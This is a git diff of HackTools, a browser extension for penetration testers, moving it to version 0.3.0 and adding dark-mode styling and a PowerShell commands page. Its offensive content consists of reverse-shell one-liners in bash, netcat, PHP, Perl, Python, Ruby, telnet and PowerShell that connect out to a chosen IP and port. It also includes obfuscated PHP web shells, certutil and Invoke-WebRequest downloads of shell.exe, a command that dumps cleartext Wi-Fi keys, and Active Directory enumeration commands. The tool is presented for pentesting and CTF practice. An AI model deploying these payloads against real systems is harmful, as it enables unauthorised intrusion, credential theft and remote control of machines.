diff --git a/src/App.js b/src/App.js index daa31a9..cfa98a9 100644 --- a/src/App.js +++ b/src/App.js @@ -1,26 +1,25 @@ -import React from "react"; -import { BackTop } from "antd"; -import LayoutApp from "./components/LayoutApp.js"; -import "./assets/css/style.css"; -import ReactDOM from "react-dom"; -import { Router } from "react-chrome-extension-router"; +import { Router } from 'react-chrome-extension-router'; +import { BackTop } from 'antd'; +import React from 'react'; +import LayoutApp from './components/LayoutApp.js'; +import ReactDOM from 'react-dom'; +import ReverseShell from './components/ReverseShell.js'; +import './assets/css/style.css'; -import ReverseShell from "./components/ReverseShell.js"; - -function App() { - return ( -
- -
- ); -} +const App = () => { + return ( +
+ +
+ ); +}; ReactDOM.render( - - - - - - , - document.getElementById("app") + + + + + + , + document.getElementById('app') ); diff --git a/src/assets/css/style.css b/src/assets/css/style.css index 489b8b3..ba2d864 100644 --- a/src/assets/css/style.css +++ b/src/assets/css/style.css @@ -1,22 +1,275 @@ -@import "~antd/dist/antd.compact.css"; -.logo { - height: 32px; - margin: 16px; +@import '~antd/dist/antd.compact.min.css'; + +@media (prefers-color-scheme: light) { + .logo { + height: 32px; + margin: 16px; + } + + .site-layout .site-layout-background { + background: #fff; + } } -.site-layout .site-layout-background { - background: #fff; +@media (prefers-color-scheme: dark) { + .logo { + height: 32px; + margin: 16px; + } + + .site-layout .site-layout-background { + background: #141414 !important; + } + + .ant-layout .site-layout { + background-color: #000 !important; + } + + .ant-menu.ant-menu-dark, + .ant-menu.ant-menu-dark .ant-menu-sub { + background: #202020 !important; + } + + .ant-layout-footer { + background-color: #000 !important; + } + + .ant-page-header-heading-sub-title { + color: rgba(255, 255, 255, 0.65) !important; + } + + .ant-page-header-heading-title { + color: rgba(255, 255, 255, 0.65) !important; + } + + .anticon-arrow-left { + color: rgba(255, 255, 255, 0.65) !important; + } + + .ant-descriptions-item-label { + color: rgb(255 255 255 / 85%) !important; + } + + .ant-descriptions-title { + color: rgb(255 255 255 / 85%) !important; + } + + .ant-descriptions-item-content { + color: rgb(255 255 255 / 65%) !important; + } + + .ant-tag-error { + color: #d32029 !important; + background: #2a1215 !important; + border-color: #58181c !important; + } + + .ant-tag-purple { + color: #642ab5 !important; + background: #1a1325 !important; + border-color: #301c4d !important; + } + + .ant-result-title { + color: rgba(255, 255, 255, 0.85) !important; + font-size: 24px !important; + line-height: 1.8 !important; + text-align: center !important; + } + + .ant-result-subtitle { + color: rgba(255, 255, 255, 0.45) !important; + font-size: 14px !important; + line-height: 1.6 !important; + text-align: center !important; + } + + .ant-result-content { + margin-top: 24px !important; + padding: 24px 40px !important; + background-color: rgba(255, 255, 255, 0.04) !important; + } + + .ant-layout-sider { + background: #1f1f1f !important; + } + + .ant-list-split .ant-list-item { + border-bottom: 1px solid rgba(255, 255, 255, 0.65) !important; + } + + .ant-card-bordered { + border: 1px solid #303030 !important; + } + + .ant-card { + color: rgba(255, 255, 255, 0.65) !important; + background: #141414 !important; + border-radius: 5px !important; + } + + .ant-tag-blue { + color: #177ddc !important; + background: #111d2c !important; + border-color: #15395b !important; + } + + .ant-card-meta-title { + color: rgb(255 255 255 / 85%) !important; + } + + .ant-card-actions { + background: #141414; + border-top: 1px solid #303030; + } + + .ant-card-meta-description { + color: rgb(255 255 255 / 45%) !important; + } + + .ant-tag-processing { + color: #177ddc !important; + background: #111d2c !important; + border-color: #15395b !important; + } + + .ant-tag-magenta { + color: #cb2b83; + background: #291321; + border-color: #551c3b; + } + + .ant-tag-red { + color: #d32029 !important; + background: #2a1215 !important; + border-color: #58181c !important; + } + + .ant-tag-green { + color: #49aa19 !important; + background: #162312 !important; + border-color: #274916 !important; + } + + .ant-card-actions > li:not(:last-child) { + border-right: 1px solid #ffffff3d !important; + } + + .ant-input { + color: rgba(255, 255, 255, 0.65) !important; + background-color: transparent !important; + background-image: none !important; + } + + .ant-btn-dashed { + color: rgba(255, 255, 255, 0.65) !important; + background: transparent !important; + border-color: #434343 !important; + border-style: dashed !important; + } + + .ant-btn-primary { + color: #fff !important; + background: #177ddc !important; + border-color: #177ddc !important; + text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.12) !important; + box-shadow: 0 2px 0 rgba(0, 0, 0, 0.045) !important; + } + + .ant-collapse { + color: rgba(255, 255, 255, 0.65) !important; + background-color: rgba(255, 255, 255, 0.04) !important; + border: 1px solid #434343 !important; + } + + .ant-collapse-content { + color: rgba(255, 255, 255, 0.65) !important; + background-color: #141414 !important; + border-top: 1px solid #434343 !important; + } + + .ant-collapse > .ant-collapse-item { + border-bottom: none !important; + } + + .ant-collapse > .ant-collapse-item > .ant-collapse-header { + color: rgba(255, 255, 255, 0.85) !important; + } + + .ant-card-actions > li > span > .anticon, + .ant-card-actions > li > span a:not(.ant-btn) { + color: rgba(255, 255, 255, 0.45) !important; + } + + .ant-input-affix-wrapper { + color: rgba(255, 255, 255, 0.65) !important; + background-color: transparent !important; + border: 1px solid #434343 !important; + background-image: none !important; + } + + .ant-divider-dashed { + background: none !important; + border: dashed #f0f0f04a !important; + border-width: 1px 0 0 !important; + } + + .ant-tag-orange { + color: #d87a16 !important; + background: #2b1d11 !important; + border-color: #593815 !important; + } + + .ant-tag-geekblue { + color: #2b4acb !important; + background: #131629 !important; + border-color: #1c2755 !important; + } + + .ant-typography { + color: rgba(255, 255, 255, 0.65) !important; + } + + .ant-layout-footer { + color: rgba(255, 255, 255, 0.65) !important; + } + + .ant-input:hover { + border-color: #165996; + border-right-width: 1px !important; + } + + .ant-empty-description { + color: rgba(255, 255, 255, 0.3) !important; + } + + .ant-btn-dangerous { + color: #a61d24 !important; + background: transparent !important; + border-color: #a61d24 !important; + } + + .ant-btn-dangerous.ant-btn-primary:hover, + .ant-btn-dangerous.ant-btn-primary:focus { + color: #fff !important; + background: #800f19 !important; + border-color: #800f19 !important; + } + + .dark-mode-text-error { + color: rgba(255, 255, 255, 0.3) !important; + } } .iconfont { - font-family: "iconfont" !important; - font-size: 16px; - font-style: normal; - -webkit-font-smoothing: antialiased; - -moz-osx-font-smoothing: grayscale; + font-family: "iconfont" !important; + font-size: 16px; + font-style: normal; + -webkit-font-smoothing: antialiased; + -moz-osx-font-smoothing: grayscale; } body { - min-width: 750px; - min-height: auto; + min-width: 750px; + min-height: auto; } diff --git a/src/assets/img/icons/iconfont.js b/src/assets/img/icons/iconfont.js index 9988e9f..ddc908f 100644 --- a/src/assets/img/icons/iconfont.js +++ b/src/assets/img/icons/iconfont.js @@ -1 +1 @@ -!function(t){var c,l,h,a,o,i,e,s='',v=(c=document.getElementsByTagName("script"))[c.length-1].getAttribute("data-injectcss");if(v&&!t.__iconfont__svg__cssinject__){t.__iconfont__svg__cssinject__=!0;try{document.write("")}catch(t){console&&console.log(t)}}function m(){i||(i=!0,a())}l=function(){var t,c,l,h,a,o=document.createElement("div");o.innerHTML=s,s=null,(t=o.getElementsByTagName("svg")[0])&&(t.setAttribute("aria-hidden","true"),t.style.position="absolute",t.style.width=0,t.style.height=0,t.style.overflow="hidden",c=t,(l=document.body).firstChild?(h=c,(a=l.firstChild).parentNode.insertBefore(h,a)):l.appendChild(c))},document.addEventListener?~["complete","loaded","interactive"].indexOf(document.readyState)?setTimeout(l,0):(h=function(){document.removeEventListener("DOMContentLoaded",h,!1),l()},document.addEventListener("DOMContentLoaded",h,!1)):document.attachEvent&&(a=l,o=t.document,i=!1,(e=function(){try{o.documentElement.doScroll("left")}catch(t){return void setTimeout(e,50)}m()})(),o.onreadystatechange=function(){"complete"==o.readyState&&(o.onreadystatechange=null,m())})}(window); \ No newline at end of file +!function(t){var c,l,h,a,o,i,e='',s=(s=document.getElementsByTagName("script"))[s.length-1].getAttribute("data-injectcss");if(s&&!t.__iconfont__svg__cssinject__){t.__iconfont__svg__cssinject__=!0;try{document.write("")}catch(t){console&&console.log(t)}}function v(){o||(o=!0,h())}c=function(){var t,c,l,h;(h=document.createElement("div")).innerHTML=e,e=null,(l=h.getElementsByTagName("svg")[0])&&(l.setAttribute("aria-hidden","true"),l.style.position="absolute",l.style.width=0,l.style.height=0,l.style.overflow="hidden",t=l,(c=document.body).firstChild?(h=t,(l=c.firstChild).parentNode.insertBefore(h,l)):c.appendChild(t))},document.addEventListener?~["complete","loaded","interactive"].indexOf(document.readyState)?setTimeout(c,0):(l=function(){document.removeEventListener("DOMContentLoaded",l,!1),c()},document.addEventListener("DOMContentLoaded",l,!1)):document.attachEvent&&(h=c,a=t.document,o=!1,(i=function(){try{a.documentElement.doScroll("left")}catch(t){return void setTimeout(i,50)}v()})(),a.onreadystatechange=function(){"complete"==a.readyState&&(a.onreadystatechange=null,v())})}(window); \ No newline at end of file diff --git a/src/components/AboutUs.js b/src/components/AboutUs.js index a9baf31..8ff5eb0 100644 --- a/src/components/AboutUs.js +++ b/src/components/AboutUs.js @@ -31,21 +31,17 @@ export default (props) => ( }} > - e are two students who are very passionate about computer security, e idea came to us during our CTF - training, we noticed that we often the same tools(Spawining a shell, reverse shell in php, base64 ding - etc...), that 's when we came up with the idea of grouping of the tools and payloads in one place, a - simple web application c do the job but it was quite frustrating to go back and forth, th why we thought - to implement an extension directly in the browser. + HackTools, is a web extension facilitating your web application penetration tests, it includes cheat + sheets as well as all the tools used during a test such as XSS payloads, Reverse shells and much more. + With the extension you no longer need to search for payloads in different websites or in your local + storage space, most of the tools are accessible in one click. HackTools is accessible either in pop up + mode or in a whole tab in the Devtools part of the browser with F12. - acktools is available at hand in the web browser, you have access to e extension as a pop up, and a - standard display in the Chrome Devtool part with "F12" in the Hacktool tab. + Note that this project is maintained, developed and made available for free, you can offer us a coffee, + it will be very encouraging and greatly appreciated - - ote that this project is maintained, developed and made available for ee, you can offer us a coffee, it - will be very encouraging and greatly appreciated: ) - - HackTools is created by Ludovic COULON and Riadh BOUCHAHOUA + HackTools is created by Ludovic COULON and Riadh BOUCHAHOUA { const target = window.location.href; return ( - +
@@ -75,76 +85,87 @@ export default (props) => { + + + } + onClick={() => goTo(PowershellCommands)} + /> + } onClick={() => goTo(FileTransfer)} > Transfer Methods } onClick={() => goTo(LFI)} > LFI } onClick={() => goTo(XSS)} > XSS } onClick={() => goTo(SQLi)} > SQL Injection } onClick={() => goTo(Base64Encode)} > Base64 Encoder / Decoder } onClick={() => goTo(Hashing)} > Hashing } + key='12' + icon={} onClick={() => goTo(URLDecode)} > URL Encoder / Decoder } onClick={() => goTo(HexEncode)} > Hexadecimal Encoder / Decoder } onClick={() => goTo(SSTI)} > SSTI } + key='15' + icon={ + + + + } onClick={() => goTo(FeedRSS)} - > - Feed RSS - + /> } onClick={() => goTo(AboutUs)} > @@ -152,8 +173,8 @@ export default (props) => { - - + +
{props.children}
@@ -162,7 +183,7 @@ export default (props) => { Hack Tools - The all in one Red team browser extension for web pentesters Ludovic COULON - Riadh BOUCHAHOUA -
HackTools Version - 0.2.1
+
HackTools Version - 0.3.0
- - - - - - -
- -
- Basic RCE - - When you have successfully uploaded your payload, just put your - commands after the variable ?cmd= (ex: ?cmd=ls -la") - - {oneLiner} - - - - -
- -
- Web shell - - p0wny@shell:~# is a very basic, single-file, PHP shell. It can be used - to quickly execute commands on a server when pentesting a PHP - application. - - - - pownyShell - - - - -
- -
- Obfuscate PHP Web Shell - {""} - - {" Usage : http://target.com/path/to/shell.php?0=command "} - - - "}> - - -
- -
- {""} - - { - ' Usage : curl -X POST http://target.com/path/to/shell.php -d "0=command" ' - } - - - "}> - - -
- -
- {""} - Usage : - - http://target.com/path/to/shell.php?_=command - - - curl -X POST http://target.com/path/to/shell.php -d "_=command" ' - - - "} - > - - -
- -
- {shell_obfuscate} - Usage : - - http://target.com/path/to/shell.php?0=command - - - - -
- -
- {shell_obfuscate_function} - Usage : - - - http://target.com/path/to/shell.php?_=function&__=argument - - - - http://target.com/path/to/shell.php?_=system&__=ls - - - - - -
- - ); + return ( + + + PHP Reverse Shell + + + Attackers who successfully exploit a remote command execution vulnerability can use a reverse shell to + obtain an interactive shell session on the target machine and continue their attack. + +
+ + + } + name='Ip adress' + placeholder='IP Address (ex: 212.212.111.222)' + onChange={handleChange('ip')} + /> + + + } + name='Port' + placeholder='Port (ex: 1337)' + onChange={handleChange('port')} + /> + + +
+ +
+ Pentestmonkey's reverse shell + This script will make an outbound TCP connection to a hardcoded IP and port. + + +

{phpReverseShell}

+ +
+
+ + + + +
+ +
+ Basic RCE + + When you have successfully uploaded your payload, just put your commands after the variable ?cmd= + (ex: ?cmd=ls -la") + + {oneLiner} + + + + +
+ +
+ Web shell + + p0wny@shell:~# is a very basic, single-file, PHP shell. It can be used to quickly execute commands + on a server when pentesting a PHP application. + + + + pownyShell + + + + +
+ +
+ Obfuscated PHP Web Shell + {''} + {' Usage : http://target.com/path/to/shell.php?0=command '} + + '}> + + +
+ +
+ {''} + {' Usage : curl -X POST http://target.com/path/to/shell.php -d "0=command" '} + + '}> + + +
+ +
+ {""} + Usage : + - http://target.com/path/to/shell.php?_=command + - curl -X POST http://target.com/path/to/shell.php -d "_=command" ' + + "}> + + +
+ +
+ {shell_obfuscate} + Usage : + - http://target.com/path/to/shell.php?0=command + + + + +
+ +
+ {shell_obfuscate_function} + Usage : + - http://target.com/path/to/shell.php?_=function&__=argument + - http://target.com/path/to/shell.php?_=system&__=ls + + + + +
+
+ ); }; diff --git a/src/components/PowershellCommands.js b/src/components/PowershellCommands.js new file mode 100644 index 0000000..dda9e8d --- /dev/null +++ b/src/components/PowershellCommands.js @@ -0,0 +1,232 @@ +import React from 'react'; +import { Typography, Divider } from 'antd'; +import QueueAnim from 'rc-queue-anim'; + +const { Title, Paragraph, Text } = Typography; + +export default (props) => { + const local_sys_enum = [ + { title: 'systeminfo' }, + { title: 'Get-WmiObject Win32_ComputerSystem' }, + { title: 'echo "$env:COMPUTERNAME.$env:USERDNSDOMAIN"' } + ]; + const lastpatchlist = 'Get-Hotfix -description "Security update"'; + const lastpatchlist_wmic = 'wmic qfe get HotfixID,ServicePackInEffect,InstallDate,InstalledBy,InstalledOn"'; + const envVar = 'Get-ChildItem Env: | ft Key,Value'; + const envVar_cmd = 'set'; + const wlan_creddump = [ + { title: 'netsh wlan show profiles' }, + { title: 'netsh wlan show profile name="PROFILE-NAME" key=clear' } + ]; + + // windows wget like + const powershell_http_dl = ' Invoke-WebRequest "http://10.10.10.10/shell.exe" -OutFile "shell.exe" '; + const cmd_cert_http_dl = 'certutil -urlcache -f http://10.10.10.10/shell.exe shell.exe'; + + // domain enum + const domain_name = `Get-NetDomain`; + const forest_domain_list = `Get-NetForestDomain`; + const domain_SID = `Get-DomainSID `; + const domain_Policy = `Get-DomainPolicy`; + const domain_OUs = `Get-NetOU`; + const domain_trust = `Get-NetDomainTrust`; + // gpo + const gpo_enum = `Get-NetGPO -ComputerName computername.domain.com`; + // passwd enum + const passwd_lastset = `Get-UserProperty –Properties pwdlastset`; + const user_desc_harvest = `Find-UserField -SearchField Description –SearchTerm “pass”`; + + //computers domain + const domain_computers = `Get-NetComputer`; + const domain_pingable_computers = `Get-NetComputer -Ping`; + const domain_win7U_computers = `Get-NetComputer –OperatingSystem "Windows 7 Ultimate"`; + + //domain admins + const domain_admin_members = `Get-NetGroupMember -GroupName "Domain Admins"`; + const domain_admins_groups = `Get-NetGroup *admin*`; + const local_admins = `Get-NetLocalGroup –ComputerName PCNAME-001`; + const user_group_membership = `Get-NetGroup –UserName "username"`; + + //acl + const ACL_user_enum = `Get-ObjectAcl -SamAccountName "users" -ResolveGUIDs`; + const ACL_gpoedit_rights = `Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}`; + const ACL_passwd_edit_rights = `Get-ObjectAcl -SamAccountName labuser -ResolveGUIDs -RightsFilter "ResetPassword"`; + + return ( + + + Powershell handy commands + + List of useful Powershell commands + +
+ System enumeration + {local_sys_enum.map((k, i) => { + return ( + + {k.title} + + ); + })} + # list Security patches + + {lastpatchlist} + + + {lastpatchlist_wmic} + + # Environment Variables + + {envVar} + + (over cmd.exe) + + {envVar_cmd} + + + HTTP download (wget like) + + {powershell_http_dl} + + # cmd compatible + + {cmd_cert_http_dl} + + + WLAN enumeration + {wlan_creddump.map((k, i) => { + return ( + + {k.title} + + ); + })} +
+ + +
+ Active Directory enumeration + + Domain enumeration + + + {domain_name} + + + # list Forest Domains + + {forest_domain_list} + + + # Domain SID + + {domain_SID} + + + # Domain Policy + + {domain_Policy} + + + # Domain Organizational Units + + {domain_OUs} + + + # list trusted Domains + + {domain_trust} + + + + + GPO enumeration + + # Gpo applied to the machine + + {gpo_enum} + + + + + Password enumeration + + # Last Password Set date + + {passwd_lastset} + + # Description of User object + + {user_desc_harvest} + + + + Computer enumeration + + # list Computers of the Domain + + {domain_computers} + + # list Pingable Hosts + + {domain_pingable_computers} + + # list Windows 7 Ultimate Computers + + {domain_win7U_computers} + + + + + Admin groups and account enumeration + + # list Domain Admin members + + {domain_admin_members} + + # list Admin Groups + + {domain_admins_groups} + + # list Local Admins [need Administrative rights] + + {local_admins} + + + # get groups of user [need Administrative rights] + + {user_group_membership} + + + + + ACL enumeration + + # user ACL + + {ACL_user_enum} + + + # GPO modifications rights + + {ACL_gpoedit_rights} + + + # Password reset rights + + {ACL_passwd_edit_rights} + +
+
+ ); +}; diff --git a/src/components/ReverseShell.js b/src/components/ReverseShell.js index 8469331..95b46d1 100644 --- a/src/components/ReverseShell.js +++ b/src/components/ReverseShell.js @@ -1,36 +1,32 @@ -import React, { useState } from "react"; -import { Button, message, Typography, Row, Col, Divider, Input } from "antd"; -import { - CopyOutlined, - WifiOutlined, - LinkOutlined, - createFromIconfontCN, -} from "@ant-design/icons"; -import QueueAnim from "rc-queue-anim"; -import Clipboard from "react-clipboard.js"; +import React, { useState } from 'react'; +import { Button, message, Typography, Row, Col, Divider, Input } from 'antd'; +import { CopyOutlined, WifiOutlined, LinkOutlined, createFromIconfontCN } from '@ant-design/icons'; +import QueueAnim from 'rc-queue-anim'; +import Clipboard from 'react-clipboard.js'; const { Title, Paragraph } = Typography; const IconFont = createFromIconfontCN({ - scriptUrl: ["./iconfont.js"], + scriptUrl: [ './iconfont.js' ] }); export default (props) => { - const [values, setValues] = useState({ - ip: "", - port: "", + const [ values, setValues ] = useState({ + ip: '', + port: '' }); const handleChange = (name) => (event) => { setValues({ ...values, [name]: event.target.value }); }; const successInfoReverseShell = () => { - message.success("Your reverse shell has been copied"); + message.success('Your reverse shell has been copied'); }; const successInfoEncodeURL = () => { - message.success("Reverse shell URI encoded has been copied"); + message.success('Reverse shell URI encoded has been copied'); }; const bash_rshell = `bash -c 'exec bash -i &>/dev/tcp/${values.ip}/${values.port} <&1'`; const netcat_rshell = `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ${values.ip} ${values.port} >/tmp/f`; const php_rshell = `php -r '$sock=fsockopen(getenv("${values.ip}"),getenv("${values.port}"));exec("/bin/sh -i <&3 >&3 2>&3");'`; + const PS_rshell = `powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('${values.ip}',${values.port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"` const perl_rshell = `perl -e 'use Socket;$i="$ENV{${values.ip}}";$p=$ENV{${values.port}};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'`; const python_rshell = `python -c 'import sys,socket,os,pty;s=socket.socket() s.connect((os.getenv("${values.ip}"),int(os.getenv("${values.port}")))) @@ -39,18 +35,16 @@ export default (props) => { const ruby_rshell = `ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV["${values.ip}"],ENV["${values.port}"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'`; const telnet_rshell = `TF=$(mktemp -u); mkfifo $TF && telnet ${values.ip} ${values.port} 0<$TF | /bin/sh 1>$TF - `; + `; + return ( - + <Title variant='Title level={3}' style={{ fontWeight: 'bold', margin: 15 }}> Reverse shell - A reverse shell is a shell session established on a connection that is - initiated from a remote machine, not from the local host. + A reverse shell is a shell session established on a connection that is initiated from a remote machine, + not from the local host.
@@ -60,16 +54,16 @@ export default (props) => { prefix={} name='Ip adress' placeholder='IP Address (ex: 212.212.111.222)' - onChange={handleChange("ip")} + onChange={handleChange('ip')} /> } name='Port' placeholder='Port (ex: 1337)' - onChange={handleChange("port")} + onChange={handleChange('port')} /> @@ -133,7 +127,7 @@ export default (props) => { key='c' style={{ padding: 15, - marginTop: 15, + marginTop: 15 }} > @@ -162,14 +156,42 @@ export default (props) => { </Button> </Clipboard> </div> + <Divider dashed /> + <div style={{ padding: 10, marginTop: 15 }} key='a'> + <Title level={3}> + PowerShell <IconFont type='icon-powershell' /> + + + {PS_rshell} + + + + + + + +
+ Perl <IconFont type='icon-perl' /> @@ -201,14 +223,14 @@ export default (props) => { key='e' style={{ padding: 15, - marginTop: 15, + marginTop: 15 }} > Python <IconFont type='icon-python' /> - {" "} + {' '} {python_rshell} @@ -236,7 +258,7 @@ export default (props) => { key='f' style={{ padding: 15, - marginTop: 15, + marginTop: 15 }} > diff --git a/src/components/TtySpawnShell.js b/src/components/TtySpawnShell.js index fbb6592..0ae24a6 100644 --- a/src/components/TtySpawnShell.js +++ b/src/components/TtySpawnShell.js @@ -1,51 +1,38 @@ -import React from "react"; -import { Button, message, Typography, Divider } from "antd"; -import { CopyOutlined } from "@ant-design/icons"; -import QueueAnim from "rc-queue-anim"; -import Clipboard from "react-clipboard.js"; +import React from 'react'; +import { Button, message, Typography, Divider } from 'antd'; +import { CopyOutlined } from '@ant-design/icons'; +import QueueAnim from 'rc-queue-anim'; +import Clipboard from 'react-clipboard.js'; const { Title, Paragraph } = Typography; export default (props) => { const successInfoTtyShell = () => { - message.success("Your tty has been copied"); + message.success('Your tty has been copied'); }; return ( <QueueAnim delay={300} duration={1500}> - <Title - variant='Title level={3}' - style={{ fontWeight: "bold", margin: 15 }} - > + <Title variant='Title level={3}' style={{ fontWeight: 'bold', margin: 15 }}> TTY Spawn Shell - Often during pen tests you may obtain a shell without having tty, yet - wish to interact further with the system. Here are some commands which - will allow you to spawn a tty shell. Obviously some of this will depend - on the system environment and installed packages. + Often during pen tests you may obtain a shell without having tty, yet wish to interact further with the + system. Here are some commands which will allow you to spawn a tty shell. Obviously some of this will + depend on the system environment and installed packages.
Python spawn shell - - python -c 'import pty; pty.spawn("/bin/sh")' - - - @@ -56,46 +43,43 @@ export default (props) => { key='b' style={{ padding: 15, - marginTop: 15, + marginTop: 15 }} > Fully Interactive TTY All the steps to stabilize your shell # In the reverse shell + ctrl+z + echo $TERM && tput lines && tput cols +
+ # For bash users - python -c 'import pty; pty.spawn("/bin/sh")' + stty raw -echo
+ fg
- ctrl+z
- # Attacker Machine - stty raw -echo - fg + # For zsh + stty raw -echo; fg
- # In the reverse shell - reset - export SHELL=bash - export TERM=xterm-256color - stty rows [num] columns [cols] + + reset
+ export SHELL=bash
+ export TERM=xterm-256color
+ stty rows [num] columns [cols] +
OS system spawn shell echo os.system("/bin/bash") - - @@ -106,17 +90,13 @@ export default (props) => { key='d' style={{ padding: 15, - marginTop: 15, + marginTop: 15 }} > Bash spawn shell /bin/sh -i - - @@ -127,20 +107,13 @@ export default (props) => { key='e' style={{ padding: 15, - marginTop: 15, + marginTop: 15 }} > Perl spawn shell perl —e 'exec "/bin/sh";' - - @@ -151,17 +124,13 @@ export default (props) => { key='f' style={{ padding: 15, - marginTop: 15, + marginTop: 15 }} > - Python spawn shell + Ruby spawn shell ruby: exec "/bin/sh" - @@ -172,20 +141,13 @@ export default (props) => { key='g' style={{ padding: 15, - marginTop: 15, + marginTop: 15 }} > Lua spawn shell lua: os.execute("/bin/sh") - - @@ -196,17 +158,13 @@ export default (props) => { key='h' style={{ padding: 15, - marginTop: 15, + marginTop: 15 }} > IRB spawn shell exec "/bin/sh" - @@ -217,17 +175,13 @@ export default (props) => { key='i' style={{ padding: 15, - marginTop: 15, + marginTop: 15 }} > VI spawn shell :!bash - - @@ -238,20 +192,13 @@ export default (props) => { key='j' style={{ padding: 15, - marginTop: 15, + marginTop: 15 }} > VI(2) spawn shell :set shell=/bin/bash:shell - - @@ -262,17 +209,13 @@ export default (props) => { key='k' style={{ padding: 15, - marginTop: 15, + marginTop: 15 }} > Nmap spawn shell !sh - - diff --git a/src/components/encoding/Base64Encode.js b/src/components/encoding/Base64Encode.js index 1ad15fe..9a0dba3 100644 --- a/src/components/encoding/Base64Encode.js +++ b/src/components/encoding/Base64Encode.js @@ -1,37 +1,33 @@ -import React, { useState } from "react"; -import { Button, Input, Typography, message, Divider } from "antd"; -import { - CopyOutlined, - createFromIconfontCN, - ClearOutlined, -} from "@ant-design/icons"; -import Clipboard from "react-clipboard.js"; -import QueueAnim from "rc-queue-anim"; +import React, { useState } from 'react'; +import { Button, Input, Typography, message, Divider } from 'antd'; +import { CopyOutlined, createFromIconfontCN, ClearOutlined } from '@ant-design/icons'; +import Clipboard from 'react-clipboard.js'; +import QueueAnim from 'rc-queue-anim'; const { Title, Paragraph } = Typography; const IconFont = createFromIconfontCN({ - scriptUrl: ["./iconfont.js"], + scriptUrl: [ './iconfont.js' ] }); const Base64Encode = () => { - const [input, setInput] = useState(""); - const [output, setOutput] = useState(""); + const [ input, setInput ] = useState(''); + const [ output, setOutput ] = useState(''); const { TextArea } = Input; const successBase64Copy = () => { - message.success("Your payload has been copied successfully !"); + message.success('Your payload has been copied successfully !'); }; const handleChange = (name) => (event) => { setInput(event.target.value); }; const handleClick = (type) => { - if (type === "encode") { + if (type === 'encode') { setOutput(btoa(input)); - } else if (type === "decode") { + } else if (type === 'decode') { try { setOutput(atob(input)); } catch (ex) { - setOutput("Unable to decode properly : Incorrect base64 :-( "); - message.error("Incorrect Base64 please try something else"); + setOutput('Unable to decode properly : Incorrect base64 :-( '); + message.error('Incorrect Base64 please try something else'); } } return; @@ -39,13 +35,12 @@ const Base64Encode = () => { return (
- + <Title variant='Title level={3}' style={{ fontWeight: 'bold' }}> Base64 Encoder / Decoder - In computer science, Base64 is a group of binary-to-text encoding - schemes that represent binary data in an ASCII string format by - translating it into a radix-64 representation. + In computer science, Base64 is a group of binary-to-text encoding schemes that represent binary data + in an ASCII string format by translating it into a radix-64 representation.
@@ -53,19 +48,19 @@ const Base64Encode = () => { key='a' style={{ marginTop: 15, - marginLeft: 15, + marginLeft: 15 }} >